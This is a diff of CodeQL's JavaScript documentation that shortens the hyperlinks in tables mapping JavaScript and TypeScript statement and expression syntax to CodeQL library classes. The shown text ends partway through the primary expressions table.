<https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ImportEqualsDeclaration.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``interface`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``{`` `MemberDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$MemberDeclaration.html>`__... ``}`` | `InterfaceDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$InterfaceDeclaration.html>`__ | `InterfaceDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$InterfaceDefinition.html>`__, `ClassOrInterface <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassOrInterface.html>`__, `TypeParameterized <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameterized.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``let`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `LetStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LetStmt.html>`__ | `DeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``namespace`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `NamespaceDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDeclaration.html>`__ | `NamespaceDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDefinition.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``return`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ReturnStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ReturnStmt.html>`__ | `JumpStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$JumpStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``switch`` ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``) {`` `Case <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Case.html>`__... ``}`` | `SwitchStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$SwitchStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``throw`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ThrowStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ThrowStmt.html>`__ | `JumpStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$JumpStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``try`` ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` `CatchClause <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$CatchClause.html>`__... ``finally`` ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `TryStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$TryStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``type`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``=`` `TypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeExpr.html>`__ ``;`` | `TypeAliasDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAliasDeclaration.html>`__ | `TypeParameterized <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameterized.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``var`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `VarDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$VarDeclStmt.html>`__ | `DeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``while`` ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ | `WhileStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$WhileStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__, `LoopStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LoopStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``with`` ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ | `WithStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$WithStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `BlockStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$BlockStmt.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| Statement syntax | CodeQL class | Superclasses | Remarks | ++===============================================================================+================================+=============================================================+================================================================================================+ +| Expr_ ``;`` | ExprStmt_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| Label_ ``:`` Stmt_ | LabeledStmt_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``;`` | EmptyStmt_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``break`` Label_ ``;`` | BreakStmt_ | JumpStmt_, BreakOrContinueStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``case`` Expr_ ``:`` Stmt_... | Case_ | | can only occur as child of a SwitchStmt_ | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``catch(`` Identifier_ ``)`` ``{`` Stmt_... ``}`` | CatchClause_ | ControlStmt_ | can only occur as child of a TryStmt_ | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``class`` Identifier_ ``extends`` Expr_ ``{`` MemberDeclaration_... ``}`` | ClassDeclStmt_ | ClassDefinition_, ClassOrInterface_, TypeParameterized_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``const`` Identifier_ ``=`` Expr_ ``;`` | ConstDeclStmt_ | DeclStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``continue`` Label_ ``;`` | ContinueStmt_ | JumpStmt_, BreakOrContinueStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``debugger;`` | DebuggerStmt_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``declare`` ``global`` ``{`` Stmt_... ``}`` | GlobalAugmentationDeclaration_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``declare`` ``module`` StringLiteral_ ``{`` Stmt_... ``}`` | ExternalModuleDeclaration_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``default:`` Stmt_... | Case_ | | can only occur as child of a SwitchStmt_; use `isDefault` to distinguish `default` from `case` | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``do`` Stmt_ ``while`` ``(`` Expr_ ``)`` | DoWhileStmt_ | ControlStmt_, LoopStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``enum`` Identifier_ ``{`` MemberDeclaration_... ``}`` | EnumDeclaration_ | NamespaceDefinition_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``export * from`` StringLiteral_ | BulkReExportDeclaration_ | ReExportDeclaration_, ExportDeclaration_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``export default`` ClassDeclStmt_ | ExportDefaultDeclaration_ | ExportDeclaration_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``export default`` Expr_ ``;`` | ExportDefaultDeclaration_ | ExportDeclaration_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``export default`` FunctionDeclStmt_ | ExportDefaultDeclaration_ | ExportDeclaration_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``export {`` ExportSpecifier_... ``};`` | ExportNamedDeclaration_ | ExportDeclaration_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``export`` DeclStmt_ | ExportNamedDeclaration_ | ExportDeclaration_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``export`` ``=`` Expr_ ``;`` | ExportAssignDeclaration_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``export`` ``as`` ``namespace`` Identifier_ ``;`` | ExportAsNamespaceDeclaration_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``for`` ``(`` Expr_ ``;`` Expr_ ``;`` Expr_ ``)`` Stmt_ | ForStmt_ | ControlStmt_, LoopStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``for`` ``(`` VarAccess_ ``in`` Expr_ ``)`` Stmt_ | ForInStmt_ | ControlStmt_, LoopStmt_, EnhancedForLoop_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``for`` ``(`` VarAccess_ ``of`` Expr_ ``)`` Stmt_ | ForOfStmt_ | ControlStmt_, LoopStmt_, EnhancedForLoop_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``function`` Identifier_ ``(`` Parameter_... ``)`` ``{`` Stmt_... ``}`` | FunctionDeclStmt_ | Function_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``if`` ``(`` Expr_ ``)`` Stmt_ ``else`` Stmt_ | IfStmt_ | ControlStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``import {`` ImportSpecifier_... ``from`` StringLiteral_ | ImportDeclaration_ | Import_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``import`` Identifier_ ``=`` Expr_ ``;`` | ImportEqualsDeclaration_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``interface`` Identifier_ ``{`` MemberDeclaration_... ``}`` | InterfaceDeclaration_ | InterfaceDefinition_, ClassOrInterface_, TypeParameterized_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``let`` Identifier_ ``=`` Expr_ ``;`` | LetStmt_ | DeclStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``namespace`` Identifier_ ``{`` Stmt_... ``}`` | NamespaceDeclaration_ | NamespaceDefinition_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``return`` Expr_ ``;`` | ReturnStmt_ | JumpStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``switch`` ``(`` Expr_ ``) {`` Case_... ``}`` | SwitchStmt_ | ControlStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``throw`` Expr_ ``;`` | ThrowStmt_ | JumpStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``try`` ``{`` Stmt_... ``}`` CatchClause_... ``finally`` ``{`` Stmt_... ``}`` | TryStmt_ | ControlStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``type`` Identifier_ ``=`` TypeExpr_ ``;`` | TypeAliasDeclaration_ | TypeParameterized_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``var`` Identifier_ ``=`` Expr_ ``;`` | VarDeclStmt_ | DeclStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``while`` ``(`` Expr_ ``)`` Stmt_ | WhileStmt_ | ControlStmt_, LoopStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``with`` ``(`` Expr_ ``)`` Stmt_ | WithStmt_ | ControlStmt_ | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ +| ``{`` Stmt_... ``}`` | BlockStmt_ | | | ++-------------------------------------------------------------------------------+--------------------------------+-------------------------------------------------------------+------------------------------------------------------------------------------------------------+ Expression classes ------------------ -There is a large number of expression classes, so we present them by category. All classes in this section are subclasses of `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__, except where noted otherwise. +There is a large number of expression classes, so we present them by category. All classes in this section are subclasses of Expr_, except where noted otherwise. Literals ~~~~~~~~ -All classes in this subsection are subclasses of `Literal <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Literal.html>`__. +All classes in this subsection are subclasses of Literal_. -+-------------------+------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | -+===================+========================================================================================================================+ -| ``true`` | `BooleanLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BooleanLiteral.html>`__ | -+-------------------+------------------------------------------------------------------------------------------------------------------------+ -| ``23`` | `NumberLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NumberLiteral.html>`__ | -+-------------------+------------------------------------------------------------------------------------------------------------------------+ -| ``4.2`` | `NumberLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NumberLiteral.html>`__ | -+-------------------+------------------------------------------------------------------------------------------------------------------------+ -| ``"Hello"`` | `StringLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StringLiteral.html>`__ | -+-------------------+------------------------------------------------------------------------------------------------------------------------+ -| ``/ab*c?/`` | `RegExpLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$RegExpLiteral.html>`__ | -+-------------------+------------------------------------------------------------------------------------------------------------------------+ -| ``null`` | `NullLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NullLiteral.html>`__ | -+-------------------+------------------------------------------------------------------------------------------------------------------------+ ++-------------------+-----------------+ +| Expression syntax | CodeQL class | ++===================+=================+ +| ``true`` | BooleanLiteral_ | ++-------------------+-----------------+ +| ``23`` | NumberLiteral_ | ++-------------------+-----------------+ +| ``4.2`` | NumberLiteral_ | ++-------------------+-----------------+ +| ``"Hello"`` | StringLiteral_ | ++-------------------+-----------------+ +| ``/ab*c?/`` | RegExpLiteral_ | ++-------------------+-----------------+ +| ``null`` | NullLiteral_ | ++-------------------+-----------------+ Identifiers ~~~~~~~~~~~ -All identifiers are represented by the class `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__, which has subclasses to represent specific kinds of identifiers: +All identifiers are represented by the class Identifier_, which has subclasses to represent specific kinds of identifiers: -- `VarAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__: an identifier that refers to a variable -- `VarDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html>`__: an identifier that declares a variable, for example ``x`` in ``var x = "hi"`` or in ``function(x) { }`` -- `VarRef <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarRef.html>`__: a `VarAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__ or a `VarDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html>`__ -- `Label <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Label.html>`__: an identifier that refers to a statement label or a property, not a variable; in the following examples, ``l`` and ``p`` are labels: +- VarAccess_: an identifier that refers to a variable +- VarDecl_: an identifier that declares a variable, for example ``x`` in ``var x = "hi"`` or in ``function(x) { }`` +- VarRef_: a VarAccess_ or a VarDecl_ +- Label_: an identifier that refers to a statement label or a property, not a variable; in the following examples, ``l`` and ``p`` are labels: - ``break l;`` - ``l: for(;;) {}`` @@ -145,221 +145,375 @@ All identifiers are represented by the class `Identifier <https://help.semmle.co Primary expressions ~~~~~~~~~~~~~~~~~~~ -All classes in this subsection are subclasses of `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__. +All classes in this subsection are subclasses of Expr_. -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | Remarks | -+======================================================================================================================================================================================================================================================================+==========================================================================================================================================+======================================================================================================================+================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================+ -| ``this`` | `ThisExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ThisExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``[`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__... ``]`` | `ArrayExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ArrayExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``{`` `Property <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__... ``}`` | `ObjectExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ObjectExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``function`` ``(`` `Parameter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html>`__... ``)`` ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `FunctionExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$FunctionExpr.html>`__ | `Function <https://help.semmle.com/qldoc/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``(`` `Parameter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html>`__... ``)`` ``=>`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `ArrowFunctionExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ArrowFunctionExpr.html>`__ | `Function <https://help.semmle.com/qldoc/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `ParExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ParExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ````` ... ````` | `TemplateLiteral 